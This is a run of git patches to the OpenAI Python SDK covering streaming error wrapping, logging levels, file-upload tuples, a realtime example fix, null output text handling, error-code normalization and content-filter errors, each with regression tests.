+ def sync_response(request: httpx2.Request) -> httpx2.Response:
+ return httpx2.Response(
+ 200,
+ headers={"content-type": "text/event-stream"},
+ content=content,
+ request=request,
+ )
+
+ async def async_response(request: httpx2.Request) -> httpx2.Response:
+ return httpx2.Response(
+ 200,
+ headers={"content-type": "text/event-stream"},
+ content=content,
+ request=request,
+ )
+
+ if sync:
+ handler = SyncHandler()
+
+ with OpenAI(
+ api_key="test",
+ base_url="https://example.test/v1",
+ http_client=openai.DefaultHttpx2Client(
+ transport=httpx2.MockTransport(sync_response),
+ trust_env=False,
+ ),
+ max_retries=0,
+ ) as client:
+ with client.beta.threads.runs.stream( # pyright: ignore[reportDeprecated]
+ assistant_id="asst_test",
+ thread_id="thread_test",
+ event_handler=handler,
+ ) as stream:
+ with pytest.raises(APIConnectionError) as exc_info:
+ stream.until_done()
+
+ assert exc_info.value is hook_error
+ assert handler.exception is hook_error
+ assert not handler.timed_out
+ assert hook_error.__cause__ is cause
+
+ else:
+ handler = AsyncHandler()
+
+ async with AsyncOpenAI(
+ api_key="test",
+ base_url="https://example.test/v1",
+ http_client=openai.DefaultAsyncHttpx2Client(
+ transport=httpx2.MockTransport(async_response),
+ trust_env=False,
+ ),
+ max_retries=0,
+ ) as client:
+ async with client.beta.threads.runs.stream( # pyright: ignore[reportDeprecated]
+ assistant_id="asst_test",
+ thread_id="thread_test",
+ event_handler=handler,
+ ) as stream:
+ with pytest.raises(APIConnectionError) as exc_info:
+ await stream.until_done()
+
+ assert exc_info.value is hook_error
+ assert handler.exception is hook_error
+ assert not handler.timed_out
+ assert hook_error.__cause__ is cause
async def test_sigv4_provider_preserves_httpx2_family_and_rejects_one_shot_bodies() -> None:
diff --git a/tests/test_streaming.py b/tests/test_streaming.py
index ee3af47ab6..fe74fcc558 100644
--- a/tests/test_streaming.py
+++ b/tests/test_streaming.py
@@ -1,15 +1,160 @@
from __future__ import annotations
-from typing import Iterator, AsyncIterator
+import os
+import importlib
+from typing import Any, Iterator, AsyncIterator
from contextlib import aclosing, nullcontext
import httpx2
import pytest
-from openai import OpenAI, AsyncOpenAI
+from openai import OpenAI, AsyncOpenAI, APITimeoutError, APIConnectionError
from openai._streaming import Stream, AsyncStream, ServerSentEvent
+@pytest.fixture(
+ params=[
+ "httpx2",
+ pytest.param(
+ "httpx",
+ marks=pytest.mark.skipif(
+ os.environ.get("OPENAI_TEST_LEGACY_HTTPX") != "1", reason="requires the legacy HTTPX compatibility lane"
+ ),
+ ),
+ ]
+)
+def http_module(request: pytest.FixtureRequest) -> Any:
+ return importlib.import_module(request.param)
+
+
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
+@pytest.mark.parametrize("delivered", [False, True], ids=["before-first-event", "after-first-event"])
+@pytest.mark.parametrize(
+ ("error_name", "expected_error"),
+ [
+ ("ReadTimeout", APITimeoutError),
+ ("RemoteProtocolError", APIConnectionError),
+ ("DecodingError", APIConnectionError),
+ ],
+)
+async def test_request_errors_are_wrapped(
+ sync: bool, delivered: bool, error_name: str, expected_error: type[APIConnectionError], http_module: Any
+) -> None:
+ error = getattr(http_module, error_name)("synthetic stream failure")
+ requests: list[Any] = []
+ first = (
+ b'data: {"id":"synthetic","object":"chat.completion.chunk","created":0,"model":"synthetic",'
+ b'"choices":[{"index":0,"delta":{"content":"hello"},"finish_reason":null}]}\n\n'
+ )
+
+ def body() -> Iterator[bytes]:
+ if delivered:
+ yield first
+ raise error
+
+ async def async_body() -> AsyncIterator[bytes]:
+ for chunk in body():
+ yield chunk
+
+ def handler(request: Any) -> Any:
+ requests.append(request)
+ return http_module.Response(
+ 200, headers={"content-type": "text/event-stream"}, content=body() if sync else async_body()
+ )
+
+ received: list[str | None] = []
+ if sync:
+ with OpenAI(
+ api_key="synthetic",
+ max_retries=2,
+ http_client=http_module.Client(transport=http_module.MockTransport(handler), trust_env=False),
+ ) as client:
+ stream = client.chat.completions.create(model="synthetic", messages=[], stream=True)
+ with pytest.raises(expected_error) as caught:
+ for chunk in stream:
+ received.append(chunk.choices[0].delta.content)
+ assert stream.response.is_closed
+ else:
+ async with AsyncOpenAI(
+ api_key="synthetic",
+ max_retries=2,
+ http_client=http_module.AsyncClient(transport=http_module.MockTransport(handler), trust_env=False),
+ ) as async_client:
+ async_stream = await async_client.chat.completions.create(model="synthetic", messages=[], stream=True)
+ with pytest.raises(expected_error) as caught:
+ async for chunk in async_stream:
+ received.append(chunk.choices[0].delta.content)
+ assert async_stream.response.is_closed
+
+ assert received == (["hello"] if delivered else [])
+ assert len(requests) == 1
+ assert caught.value.request is requests[0]
+ assert caught.value.__cause__ is error
+
+
+@pytest.mark.asyncio
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
+@pytest.mark.parametrize(
+ "error_type",
+ [
+ httpx2.ReadTimeout,
+ httpx2.RemoteProtocolError,
+ ValueError,
+ ],
+)
+async def test_request_errors_from_response_processing_are_not_wrapped(
+ sync: bool,
+ error_type: type[Exception],
+ client: OpenAI,
+ async_client: AsyncOpenAI,
+) -> None:
+ error = error_type("response processing failure")
+ request = httpx2.Request("POST", "https://example.com")
+
+ class FailingModelBuilder:
+ @classmethod
+ def build(
+ cls,
+ *,
+ response: httpx2.Response,
+ data: object,
+ ) -> FailingModelBuilder:
+ assert response.request is request
+ assert data == {"foo": True}
+ raise error
+
+ if sync:
+ response = httpx2.Response(
+ 200,
+ request=request,
+ content=b'data: {"foo": true}\n\n',
+ )
+ stream = Stream(
+ cast_to=FailingModelBuilder,
+ client=client,
+ response=response,
+ )
+
+ with pytest.raises(error_type) as exc_info:
+ next(stream)
+ else:
+ response = httpx2.Response(
+ 200,
+ request=request,
+ content=b'data: {"foo": true}\n\n',
+ )
+ stream = AsyncStream(
+ cast_to=FailingModelBuilder,
+ client=async_client,
+ response=response,
+ )
+
+ with pytest.raises(error_type) as exc_info:
+ await stream.__anext__()
+
+ assert exc_info.value is error
+
+
@pytest.mark.asyncio
@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
async def test_basic(sync: bool, client: OpenAI, async_client: AsyncOpenAI) -> None:
From e12b81d3bbf644ec7045e152d69bc4b68d69cd48 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Fri, 11 Sep 2026 19:50:02 +0000
Subject: [PATCH 124/341] ci: bump Steady to latest main (#3852)
## Summary
Bump Steady to the latest `main` revision
([557276c](https://github.com/openai-oss-forks/steady/commit/557276ca22e1d766404af7fd35ebfc1be3e83e62))
to pick up the multipart and streaming fixes.
---
scripts/steady/manifest.json | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/scripts/steady/manifest.json b/scripts/steady/manifest.json
index 573079e360..7529e6a475 100644
--- a/scripts/steady/manifest.json
+++ b/scripts/steady/manifest.json
@@ -1,8 +1,8 @@
{
"steady": {
"repository": "https://github.com/openai-oss-forks/steady.git",
- "revision": "195de4e71f6f87282110b044b454582e7fbc34bb",
- "sha256": "755931a91126dca657813a3116411e7f02c501e3c510aa1c315cb22ed898104c"
+ "revision": "557276ca22e1d766404af7fd35ebfc1be3e83e62",
+ "sha256": "de29f5b0bae4d4b45fdde51268fdf2144eaa53fc883ea5e0fccdc16eac7d1942"
},
"deno": {
"version": "2.7.11",
From 44000e0fc5e11692663045d6183568ff3ec32736 Mon Sep 17 00:00:00 2001
From: Sylvester Kaczmarek
<16242628+sylvesterkaczmarek@users.noreply.github.com>
Date: Mon, 14 Sep 2026 17:53:53 -0400
Subject: [PATCH 125/341] fix(logging): support standard OPENAI_LOG levels
(#3734)
- [x] I understand that this repository is auto-generated and my pull
request may not be merged
## Changes being requested
Fixes #3096.
`OPENAI_LOG` currently recognizes only `debug` and `info`. This change
supports the standard logging levels `debug`, `info`, `warning`,
`error`, and `critical` through a single level mapping, while preserving
the existing behavior for unset or unknown values.
This lets applications suppress routine SDK request logs without having
to reconfigure the `openai` logger in application code.
## Additional context & links
Adds regression coverage asserting that each supported `OPENAI_LOG`
value configures the `openai` logger at the corresponding
standard-library logging level.
---------
Co-authored-by: Marcus Wood
---
README.md | 4 +++-
src/openai/_utils/_logs.py | 22 ++++++++++++++++------
tests/test_log_levels.py | 33 +++++++++++++++++++++++++++++++++
3 files changed, 52 insertions(+), 7 deletions(-)
create mode 100644 tests/test_log_levels.py
diff --git a/README.md b/README.md
index 1b3824da05..07656a0a12 100644
--- a/README.md
+++ b/README.md
@@ -810,7 +810,9 @@ You can enable logging by setting the environment variable `OPENAI_LOG` to `info
$ export OPENAI_LOG=info
```
-Or to `debug` for more verbose logging.
+Or to `debug` for more verbose logging. Set it to `warning`, `error`, or `critical`
+to show only messages at that level or higher. `OPENAI_LOG` configures the `openai`
+logger; configure HTTP transport loggers separately using Python logging.
### How to tell whether `None` means `null` or missing
diff --git a/src/openai/_utils/_logs.py b/src/openai/_utils/_logs.py
index c2c92e62f4..f41d9df6e6 100644
--- a/src/openai/_utils/_logs.py
+++ b/src/openai/_utils/_logs.py
@@ -8,6 +8,13 @@
SENSITIVE_HEADERS = {"api-key", "authorization", "x-amz-security-token"}
+_LOG_LEVELS = {
+ "debug": logging.DEBUG,
+ "info": logging.INFO,
+ "warning": logging.WARNING,
+ "error": logging.ERROR,
+ "critical": logging.CRITICAL,
+}
def _basic_config() -> None:
@@ -29,12 +36,15 @@ def setup_logging() -> None:
# Transport loggers may include complete URLs. Leave their configuration to
# the application instead of enabling them with the SDK's logging switch.
env = os.environ.get("OPENAI_LOG")
- if env == "debug":
- _basic_config()
- logger.setLevel(logging.DEBUG)
- elif env == "info":
- _basic_config()
- logger.setLevel(logging.INFO)
+ if env is None:
+ return
+
+ level = _LOG_LEVELS.get(env)
+ if level is None:
+ return
+
+ _basic_config()
+ logger.setLevel(level)
class SensitiveHeadersFilter(logging.Filter):
diff --git a/tests/test_log_levels.py b/tests/test_log_levels.py
new file mode 100644
index 0000000000..e36f7005e1
--- /dev/null
+++ b/tests/test_log_levels.py
@@ -0,0 +1,33 @@
+from __future__ import annotations
+
+import logging
+
+import pytest
+
+from openai._utils._logs import setup_logging
+
+
+@pytest.mark.parametrize(
+ ("setting", "expected_level"),
+ [
+ ("debug", logging.DEBUG),
+ ("info", logging.INFO),
+ ("warning", logging.WARNING),
+ ("error", logging.ERROR),
+ ("critical", logging.CRITICAL),
+ ],
+)
+def test_openai_log_sets_standard_log_level(
+ setting: str,
+ expected_level: int,
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ logger = logging.getLogger("openai")
+ original_level = logger.level
+
+ try:
+ monkeypatch.setenv("OPENAI_LOG", setting)
+ setup_logging()
+ assert logger.level == expected_level
+ finally:
+ logger.setLevel(original_level)
From 90ac74ccfe7a966787d1f204755d4cd4cc4d406a Mon Sep 17 00:00:00 2001
From: pranjalthebhatia
Date: Mon, 14 Sep 2026 18:03:53 -0400
Subject: [PATCH 126/341] fix(files): normalize PathLike upload tuples (#3475)
## Summary
- normalize multipart upload tuples before final file-content handling
- convert `PathLike` tuple contents with the same read path used for
direct file uploads
- add sync and async regression coverage for `(filename, PathLike)`
tuples, including metadata tuples
Fixes #3473.
## Tests
```console
uv run --with dirty-equals --with pytest --with pytest-asyncio --with pytest-xdist --with ruff pytest -p no:benchmark tests/test_files.py -q
# 18 passed in 2.12s
uv run --with ruff ruff check src/openai/_files.py tests/test_files.py
# All checks passed!
git diff --check
# no output
```
Note: `uv run --frozen pytest -p no:benchmark tests/test_files.py -q`
could not collect because the frozen environment did not include
`dirty_equals`, so I used explicit `--with` dev-test dependencies for
the focused validation.
---------
Co-authored-by: Pranjal Bhatia <233476158+pranjalbhatia710@users.noreply.github.com>
Co-authored-by: Pranjal Bhatia
Co-authored-by: Marcus Wood
---
src/openai/_files.py | 6 ++----
tests/test_files.py | 46 ++++++++++++++++++++++++++++++++++++++++++++
2 files changed, 48 insertions(+), 4 deletions(-)
diff --git a/src/openai/_files.py b/src/openai/_files.py
index 1a2cc77478..76f71238ff 100644
--- a/src/openai/_files.py
+++ b/src/openai/_files.py
@@ -27,13 +27,11 @@ def is_base64_file_input(obj: object) -> TypeGuard[Base64FileInput]:
def is_file_content(obj: object) -> TypeGuard[FileContent]:
- return (
- isinstance(obj, bytes) or isinstance(obj, tuple) or isinstance(obj, io.IOBase) or isinstance(obj, os.PathLike)
- )
+ return isinstance(obj, bytes) or isinstance(obj, io.IOBase) or isinstance(obj, os.PathLike)
def assert_is_file_content(obj: object, *, key: str | None = None) -> None:
- if not is_file_content(obj):
+ if not is_file_content(obj) and not is_tuple_t(obj):
prefix = f"Expected entry at `{key}`" if key is not None else f"Expected file input `{obj!r}`"
raise RuntimeError(
f"{prefix} to be bytes, an io.IOBase instance, PathLike or a tuple but received {type(obj)} instead. See https://github.com/openai/openai-python/tree/main#file-uploads"
diff --git a/tests/test_files.py b/tests/test_files.py
index ee7e9bcc74..a94ddce0ef 100644
--- a/tests/test_files.py
+++ b/tests/test_files.py
@@ -19,6 +19,21 @@ def test_tuple_input() -> None:
assert result == [("file", ("README.md", readme_path.read_bytes()))]
+def test_file_tuple_with_pathlike_content() -> None:
+ result = to_httpx_files({"file": ("custom-name.md", readme_path)})
+ assert result == {"file": ("custom-name.md", readme_path.read_bytes())}
+
+
+def test_file_tuple_with_pathlike_content_and_metadata() -> None:
+ result = to_httpx_files({"file": ("custom-name.md", readme_path, "text/markdown")})
+ assert result == {"file": ("custom-name.md", readme_path.read_bytes(), "text/markdown")}
+
+
+def test_file_tuple_with_pathlike_content_and_headers() -> None:
+ result = to_httpx_files({"file": ("custom-name.md", readme_path, "text/markdown", {"X-Test": "1"})})
+ assert result == {"file": ("custom-name.md", readme_path.read_bytes(), "text/markdown", {"X-Test": "1"})}
+
+
@pytest.mark.asyncio
async def test_async_pathlib_includes_file_name() -> None:
result = await async_to_httpx_files({"file": readme_path})
@@ -37,6 +52,26 @@ async def test_async_tuple_input() -> None:
assert result == [("file", ("README.md", readme_path.read_bytes()))]
+@pytest.mark.asyncio
+async def test_async_file_tuple_with_pathlike_content() -> None:
+ result = await async_to_httpx_files({"file": ("custom-name.md", readme_path)})
+ assert result == {"file": ("custom-name.md", readme_path.read_bytes())}
+
+
+@pytest.mark.asyncio
+async def test_async_file_tuple_with_pathlike_content_and_metadata() -> None:
+ result = await async_to_httpx_files({"file": ("custom-name.md", readme_path, "text/markdown")})
+ assert result == {"file": ("custom-name.md", readme_path.read_bytes(), "text/markdown")}
+
+
+@pytest.mark.asyncio
+async def test_async_file_tuple_with_pathlike_content_and_headers() -> None:
+ result = await async_to_httpx_files(
+ {"file": ("custom-name.md", anyio.Path(readme_path), "text/markdown", {"X-Test": "1"})}
+ )
+ assert result == {"file": ("custom-name.md", readme_path.read_bytes(), "text/markdown", {"X-Test": "1"})}
+
+
def test_string_not_allowed() -> None:
with pytest.raises(TypeError, match="Expected file types input to be a FileContent type or to be a tuple"):
to_httpx_files(
@@ -111,6 +146,17 @@ def test_extract_files_does_not_mutate_original_top_level(self) -> None:
assert original == {"file": file_bytes, "other": "value"}
assert copied == {"other": "value"}
+ def test_extract_files_accepts_file_tuple(self) -> None:
+ file_tuple = ("custom-name.jsonl", b"contents", "application/jsonl")
+ original = {"file": file_tuple, "purpose": "batch"}
+
+ copied = deepcopy_with_paths(original, [["file"]])
+ extracted = extract_files(copied, paths=[["file"]])
+
+ assert extracted == [("file", file_tuple)]
+ assert original == {"file": file_tuple, "purpose": "batch"}
+ assert copied == {"purpose": "batch"}
+
def test_extract_files_does_not_mutate_original_nested_array_path(self) -> None:
file1 = b"f1"
file2 = b"f2"
From 0b7ad38292ef862f1dd07f71543b2f60eade8999 Mon Sep 17 00:00:00 2001
From: Rishi Randhawa
Date: Mon, 14 Sep 2026 18:30:49 -0400
Subject: [PATCH 127/341] fix(example): refresh realtime push_to_talk_app
session types (#2926)
## Summary
- fix `Session` import in `examples/realtime/push_to_talk_app.py` to use
`openai.types.realtime.session_update_event`
- guard access to `turn_detection` for session variants that may not
expose that attribute
- annotate `session.id` access with `type: ignore` and comment, since
the field is present at runtime but missing in generated typing
## Why
`openai.types.realtime.session` no longer exists, so the example
currently fails on import with recent SDK versions.
Fixes #2715
## Validation
- `python3 -m py_compile examples/realtime/push_to_talk_app.py`
- `python3 -m ruff check examples/realtime/push_to_talk_app.py`
---------
Co-authored-by: Rishi Randhawa
Co-authored-by: Marcus Wood
---
examples/realtime/push_to_talk_app.py | 15 +++++++++++----
1 file changed, 11 insertions(+), 4 deletions(-)
diff --git a/examples/realtime/push_to_talk_app.py b/examples/realtime/push_to_talk_app.py
index 28e8126b89..f0ff88a74b 100755
--- a/examples/realtime/push_to_talk_app.py
+++ b/examples/realtime/push_to_talk_app.py
@@ -41,8 +41,8 @@
from textual.containers import Container
from openai import AsyncOpenAI
-from openai.types.realtime.session import Session
from openai.resources.realtime.realtime import AsyncRealtimeConnection
+from openai.types.realtime.session_created_event import Session
class SessionDisplay(Static):
@@ -179,8 +179,10 @@ async def handle_realtime_connection(self) -> None:
if event.type == "session.created":
self.session = event.session
session_display = self.query_one(SessionDisplay)
- assert event.session.id is not None
- session_display.session_id = event.session.id
+ # The session ID is returned as an extra field on the session configuration.
+ session_id = getattr(event.session, "id", None)
+ assert isinstance(session_id, str)
+ session_display.session_id = session_id
continue
if event.type == "session.updated":
@@ -275,7 +277,12 @@ async def on_key(self, event: events.Key) -> None:
self.should_send_audio.clear()
status_indicator.is_recording = False
- if self.session and self.session.turn_detection is None:
+ if (
+ self.session
+ and self.session.audio
+ and self.session.audio.input
+ and self.session.audio.input.turn_detection is None
+ ):
# The default in the API is that the model will automatically detect when the user has
# stopped talking and then start responding itself.
#
From df6b72ccc9122a83b8dd21971dcf4a508c04b83a Mon Sep 17 00:00:00 2001
From: Raashish Aggarwal <94279692+raashish1601@users.noreply.github.com>
Date: Tue, 15 Sep 2026 04:28:07 +0530
Subject: [PATCH 128/341] fix(responses): handle null text in output_text
(#3019)
Fixes #3011.
## Summary
- skip `output_text` content items whose `text` field is `null` when
aggregating `Response.output_text`
- keep the existing concatenation behavior for valid string entries
- add a loose-validation response test that mirrors the API shape from
the issue and proves `output_text` now ignores the null item instead of
crashing
## Validation
- `.\.venv\Scripts\python -m pytest
tests/lib/responses/test_responses.py -k "output_text" -o addopts=''
-vv`
- `.\.venv\Scripts\python -m ruff check
src/openai/types/responses/response.py
tests/lib/responses/test_responses.py`
- `.\.venv\Scripts\python -m ruff format --check
src/openai/types/responses/response.py
tests/lib/responses/test_responses.py`
---------
Co-authored-by: Marcus Wood
---
src/openai/types/responses/response.py | 3 ++-
tests/lib/responses/test_responses.py | 36 ++++++++++++++++++++++++++
2 files changed, 38 insertions(+), 1 deletion(-)
diff --git a/src/openai/types/responses/response.py b/src/openai/types/responses/response.py
index 92c02ce69f..751d6d6b76 100644
--- a/src/openai/types/responses/response.py
+++ b/src/openai/types/responses/response.py
@@ -554,7 +554,8 @@ def output_text(self) -> str:
for output in self.output:
if output.type == "message":
for content in output.content:
- if content.type == "output_text":
+ # Tolerate null text from compatible providers without changing the public string type.
+ if content.type == "output_text" and content.text is not None: # pyright: ignore[reportUnnecessaryComparison]
texts.append(content.text)
return "".join(texts)
diff --git a/tests/lib/responses/test_responses.py b/tests/lib/responses/test_responses.py
index 5ba5a1e2b3..1c0a1072bb 100644
--- a/tests/lib/responses/test_responses.py
+++ b/tests/lib/responses/test_responses.py
@@ -46,6 +46,42 @@ def test_output_text(client: OpenAI, respx2_mock: MockRouter) -> None:
)
+@pytest.mark.respx2(base_url=base_url)
+@pytest.mark.parametrize("client,async_client", [(False, False)], indirect=True) # default loose validation
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
+@pytest.mark.parametrize(
+ "text_fields,expected",
+ [
+ pytest.param([{"text": "hello"}, {"text": None}, {"text": " world"}], "hello world", id="mixed-null"),
+ pytest.param([{"text": None}, {"text": None}], "", id="all-null"),
+ pytest.param([{}, {"text": "hello"}], "hello", id="missing"),
+ pytest.param([{"text": "hello"}, {"text": " world"}], "hello world", id="strings"),
+ pytest.param([{"text": ""}], "", id="empty-string"),
+ pytest.param([], "", id="empty-content"),
+ ],
+)
+async def test_output_text_with_nullable_content(
+ client: OpenAI,
+ async_client: AsyncOpenAI,
+ respx2_mock: MockRouter,
+ sync: bool,
+ text_fields: list[dict[str, str | None]],
+ expected: str,
+) -> None:
+ content: list[dict[str, object]] = [{"type": "output_text", "annotations": [], **fields} for fields in text_fields]
+ output: list[dict[str, object]] = [{"type": "message", "role": "assistant", "content": content}]
+ respx2_mock.post("/responses").respond(json={"output": output})
+
+ if sync:
+ response = client.responses.create(model="gpt-4o-mini", input="Say hello")
+ else:
+ response = await async_client.responses.create(model="gpt-4o-mini", input="Say hello")
+
+ assert response.to_dict()["output"] == output
+ assert response.output_text == expected
+ assert response.to_dict()["output"] == output
+
+
@pytest.mark.parametrize(
"item",
[
From 233d9557be3e7ee186b5ac3f1ab634a257134ac1 Mon Sep 17 00:00:00 2001
From: Sanjay Santhanam <51058514+Sanjays2402@users.noreply.github.com>
Date: Mon, 14 Sep 2026 15:59:39 -0700
Subject: [PATCH 129/341] fix: normalize API error codes to strings (#3532)
- [x] I understand that this repository is auto-generated and my pull
request may not be merged
## Changes being requested
Normalize non-null API error codes to strings so runtime behavior
matches the public `str | None` annotation. A regression test covers
numeric error payloads.
## Additional context & links
Closes #3531
Co-authored-by: Marcus Wood
---
src/openai/_exceptions.py | 3 +-
tests/test_client.py | 68 +++++++++++++++++++++++++++++++++++++++
2 files changed, 70 insertions(+), 1 deletion(-)
diff --git a/src/openai/_exceptions.py b/src/openai/_exceptions.py
index 7a30e4a336..17e89e8f2f 100644
--- a/src/openai/_exceptions.py
+++ b/src/openai/_exceptions.py
@@ -69,7 +69,8 @@ def __init__(self, message: str, request: httpx2.Request, *, body: object | None
self.body = body
if is_dict(body):
- self.code = cast(Any, construct_type(type_=Optional[str], value=body.get("code")))
+ code = body.get("code")
+ self.code = str(code) if code is not None else None
self.param = cast(Any, construct_type(type_=Optional[str], value=body.get("param")))
self.type = cast(Any, construct_type(type_=str, value=body.get("type")))
else:
diff --git a/tests/test_client.py b/tests/test_client.py
index 7fa7ee31bd..3281add6d2 100644
--- a/tests/test_client.py
+++ b/tests/test_client.py
@@ -123,6 +123,40 @@ def _get_open_connections(client: OpenAI | AsyncOpenAI) -> int:
class TestOpenAI:
+ @pytest.mark.parametrize(
+ "code_fields,expected_code",
+ [
+ ({"code": 404}, "404"),
+ ({"code": 0}, "0"),
+ ({"code": "invalid_request"}, "invalid_request"),
+ ({"code": ""}, ""),
+ ({"code": None}, None),
+ ({}, None),
+ ],
+ )
+ @pytest.mark.respx2(base_url=base_url)
+ def test_api_error_code_is_string(
+ self,
+ code_fields: dict[str, object],
+ expected_code: str | None,
+ respx2_mock: MockRouter,
+ client: OpenAI,
+ ) -> None:
+ body = {"message": "Example error", "type": "invalid_request_error", "param": "model", **code_fields}
+ response = httpx2.Response(400, json={"error": body})
+ respx2_mock.get("/foo").mock(return_value=response)
+
+ with pytest.raises(APIStatusError) as exc_info:
+ client.get("/foo", cast_to=httpx2.Response)
+
+ error = exc_info.value
+ assert error.code == expected_code
+ assert error.body == body
+ assert error.response.json() == {"error": body}
+ assert error.status_code == 400
+ assert error.type == "invalid_request_error"
+ assert error.param == "model"
+
@pytest.mark.respx2(base_url=base_url)
def test_raw_response(self, respx2_mock: MockRouter, client: OpenAI) -> None:
respx2_mock.post("/foo").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
@@ -1454,6 +1488,40 @@ def test_copy_auth(self) -> None:
class TestAsyncOpenAI:
+ @pytest.mark.parametrize(
+ "code_fields,expected_code",
+ [
+ ({"code": 404}, "404"),
+ ({"code": 0}, "0"),
+ ({"code": "invalid_request"}, "invalid_request"),
+ ({"code": ""}, ""),
+ ({"code": None}, None),
+ ({}, None),
+ ],
+ )
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_api_error_code_is_string(
+ self,
+ code_fields: dict[str, object],
+ expected_code: str | None,
+ respx2_mock: MockRouter,
+ async_client: AsyncOpenAI,
+ ) -> None:
+ body = {"message": "Example error", "type": "invalid_request_error", "param": "model", **code_fields}
+ response = httpx2.Response(400, json={"error": body})
+ respx2_mock.get("/foo").mock(return_value=response)
+
+ with pytest.raises(APIStatusError) as exc_info:
+ await async_client.get("/foo", cast_to=httpx2.Response)
+
+ error = exc_info.value
+ assert error.code == expected_code
+ assert error.body == body
+ assert error.response.json() == {"error": body}
+ assert error.status_code == 400
+ assert error.type == "invalid_request_error"
+ assert error.param == "model"
+
@pytest.mark.respx2(base_url=base_url)
async def test_raw_response(self, respx2_mock: MockRouter, async_client: AsyncOpenAI) -> None:
respx2_mock.post("/foo").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
From e57a1b19fbcc32306a691e63334fd2dc4b1a804c Mon Sep 17 00:00:00 2001
From: yu <72118729+yu2001-s@users.noreply.github.com>
Date: Tue, 15 Sep 2026 07:22:51 +0800
Subject: [PATCH 130/341] fix: include completion in content filter errors
(#3094)
Fixes #2690
When chat completion parsing raises `ContentFilterFinishReasonError`,
callers lose access to the completion and its available usage. Attach it
as `.completion` in both parsing and streaming, following
`LengthFinishReasonError`. Keep the no-argument constructor and
exception message unchanged. During streaming, the attached completion
contains the data received so far; usage may be absent.
Validation: seven mocked sync/async regressions cover completion
metadata, usage, immediate filtering, and preservation of earlier
streamed content. They fail on main and pass with this change. The
chat-helper and client suites passed with Pydantic 2 (271 passed, 2
skipped) and Pydantic 1 (270 passed, 3 skipped). Ruff, full mypy,
changed-file Pyright, and the custom-code budget check passed. Security
review found no actionable issues; completion content is not added to
the exception message or logs.
Co-authored-by: Marcus Wood
---
src/openai/_exceptions.py | 11 +-
src/openai/lib/_parsing/_completions.py | 2 +-
src/openai/lib/streaming/chat/_completions.py | 2 +-
tests/lib/chat/test_content_filter.py | 113 ++++++++++++++++++
4 files changed, 124 insertions(+), 4 deletions(-)
create mode 100644 tests/lib/chat/test_content_filter.py
diff --git a/src/openai/_exceptions.py b/src/openai/_exceptions.py
index 17e89e8f2f..bdaa103ee8 100644
--- a/src/openai/_exceptions.py
+++ b/src/openai/_exceptions.py
@@ -180,10 +180,17 @@ def __init__(self, *, completion: ChatCompletion) -> None:
class ContentFilterFinishReasonError(OpenAIError):
- def __init__(self) -> None:
+ completion: ChatCompletion | None
+ """The completion that caused this error, if provided.
+
+ When streaming, this is the accumulated completion and may not include usage.
+ """
+
+ def __init__(self, *, completion: ChatCompletion | None = None) -> None:
super().__init__(
- f"Could not parse response content as the request was rejected by the content filter",
+ "Could not parse response content as the request was rejected by the content filter",
)
+ self.completion = completion
class InvalidWebhookSignatureError(ValueError):
diff --git a/src/openai/lib/_parsing/_completions.py b/src/openai/lib/_parsing/_completions.py
index 7a1bded1de..ebea435e93 100644
--- a/src/openai/lib/_parsing/_completions.py
+++ b/src/openai/lib/_parsing/_completions.py
@@ -100,7 +100,7 @@ def parse_chat_completion(
raise LengthFinishReasonError(completion=chat_completion)
if choice.finish_reason == "content_filter":
- raise ContentFilterFinishReasonError()
+ raise ContentFilterFinishReasonError(completion=chat_completion)
message = choice.message
diff --git a/src/openai/lib/streaming/chat/_completions.py b/src/openai/lib/streaming/chat/_completions.py
index cf3ecfe213..88eba9e020 100644
--- a/src/openai/lib/streaming/chat/_completions.py
+++ b/src/openai/lib/streaming/chat/_completions.py
@@ -431,7 +431,7 @@ def _accumulate_chunk(self, chunk: ChatCompletionChunk) -> ParsedChatCompletionS
raise LengthFinishReasonError(completion=completion_snapshot)
if choice.finish_reason == "content_filter":
- raise ContentFilterFinishReasonError()
+ raise ContentFilterFinishReasonError(completion=completion_snapshot)
if (
choice_snapshot.message.content
diff --git a/tests/lib/chat/test_content_filter.py b/tests/lib/chat/test_content_filter.py
new file mode 100644
index 0000000000..06bc2ffcd0
--- /dev/null
+++ b/tests/lib/chat/test_content_filter.py
@@ -0,0 +1,113 @@
+from __future__ import annotations
+
+import json
+
+import httpx2
+import pytest
+from pydantic import BaseModel
+
+from openai import OpenAI, AsyncOpenAI, ContentFilterFinishReasonError
+from tests.respx2 import MockRouter
+
+from ...conftest import base_url
+
+
+class Output(BaseModel):
+ value: str
+
+
+ERROR_MESSAGE = "Could not parse response content as the request was rejected by the content filter"
+
+
+def test_content_filter_error_without_completion() -> None:
+ error = ContentFilterFinishReasonError()
+ assert error.completion is None
+ assert str(error) == ERROR_MESSAGE
+
+
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
+@pytest.mark.respx2(base_url=base_url)
+async def test_parse_content_filter_completion(
+ sync: bool, client: OpenAI, async_client: AsyncOpenAI, respx2_mock: MockRouter
+) -> None:
+ respx2_mock.post("/chat/completions").mock(
+ return_value=httpx2.Response(
+ 200,
+ json={
+ "id": "chatcmpl-example",
+ "object": "chat.completion",
+ "created": 0,
+ "model": "gpt-4o-2024-08-06",
+ "choices": [
+ {"index": 0, "message": {"role": "assistant", "content": None}, "finish_reason": "content_filter"}
+ ],
+ "usage": {"prompt_tokens": 5, "completion_tokens": 0, "total_tokens": 5},
+ },
+ )
+ )
+
+ with pytest.raises(ContentFilterFinishReasonError) as exc_info:
+ if sync:
+ client.chat.completions.parse(model="gpt-4o-2024-08-06", messages=[], response_format=Output)
+ else:
+ await async_client.chat.completions.parse(model="gpt-4o-2024-08-06", messages=[], response_format=Output)
+
+ error = exc_info.value
+ assert error.completion is not None
+ assert error.completion.id == "chatcmpl-example"
+ assert error.completion.choices[0].finish_reason == "content_filter"
+ assert error.completion.usage is not None
+ assert error.completion.usage.total_tokens == 5
+ assert str(error) == ERROR_MESSAGE
+
+
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
